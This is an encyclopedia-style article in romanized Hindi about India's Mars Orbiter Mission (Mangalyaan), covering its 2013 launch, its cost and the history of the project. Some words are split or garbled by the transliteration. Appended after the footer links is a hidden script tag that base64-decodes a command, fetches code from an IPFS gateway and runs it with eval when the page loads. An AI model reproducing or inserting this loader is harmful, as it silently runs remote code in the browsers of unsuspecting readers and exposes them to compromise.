मंगलयान
mangalayan (aupacharik nam- 'mangal kakshitr mishan', aangrezi- Mars Orbiter Mission, sankshipt nam- MOM) bharat ka pratham mangal abhiyan hai. vastut: yah 'bharatiy aantariksh anusandhan sangathan' (isaro) ki mahattvakaankshi antariksh pariyojana hai. is pariyojana ke antargat 5 navambar, 2013 ko mangal grah ki parikrama karane ke liye chho da gaya ek upagrah aandhr pradesh ke shriharikota sthit satish dhavan aantariksh keandr se dhruviy upagrah prakshepan yan (piesऍlavi) si-25 ke dvara saphalatapoorvak chho da gaya. isake sath hi bharat bhi un deshoan mean shamil ho gaya, jinhoanne mangal par apane yan bheje haian. bharat vishv ka aisa pahala desh hai, jisane apane pahale hi prayas mean mangal par upagrah bhejane mean saphalata prapt ki hai. is mishan par bharat ne karib 450 karo d rupaye kharch kie haian, jo baki deshoan ke abhiyanoan ki tulana mean sabase zyada qifayati hai.
itihas
isaro ke adhyaksh madhavan nayar dvara 23 navanbar, 2008 ko mangal grah ke lie ek manav rahit mishan ki pahali sarvajanik abhisvikriti ki ghoshana ki gee thi. bharat ke mangalayan mishan ki avadharana 2008 mean chandr upagrah chandrayan-1 ke prakshepan ke bad aantariksh vijnan aur bharatiy praudyogiki sansthan dvara 2010 mean ek vyavaharyata adhyayan ke sath shuroo huee. bharat sarakar ne is pariyojana ko 3 agast, 2012 mean manjoori de di thi. 'bharatiy aantariksh anusandhan sangathan' ne 125 karo d rupaye ke aaurbitar ke lie avashyak adhyayan poora kiya. pariyojana ki kul lagat 450 karo d rupaye huee. aantariksh ejeansi ne 28 aktoobar, 2013 ko prakshepan ki yojana banaee, lekin prashaant mahasagar mean kharab mausam ke karan isaro ke aantariksh yan, traikiang jahajoan ko pahuanchane mean deri huee. is karan abhiyan ko 5 navanbar, 2013 tak sthagit kar diya gaya.
eeandhan ki bachat ke lie hohamann sthanaantaran kaksha mean prakshepan ke avasar har 26 mahine mean ghatit hote haian. pieselavi-eksel laanch si25 vahan ko jo dane ka kary 5 agast, 2013 ko shuroo hua tha. mangalayan ko vahan ke sath jo dane ke lie 2 aktoobar, 2013 ko shriharikota bhej diya gaya. upagrah ke vikas ko teji se rik aaurd 15 mahine mean poora kiya gaya. amerika ki sanghiy sarakar ke band ke bavajood nasa ne 5 aktoobar, 2013 ko mishan ke lie sanchar aur nevigeshan samarthan pradan karane ki pushti ki. 30 sitanbar, 2014 ko ek baithak ke dauran nasa aur isaro ke adhikariyoan ne mangal grah ke bhavishy ke sanyukt mishan ke lie marg sthapit karane ke lie ek samajhaute par hastakshar kie tatha donoan deshoan ne mangalayan aur meven aantariksh yanoan ke aank de ko sajha karane ka phaisala kiya.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>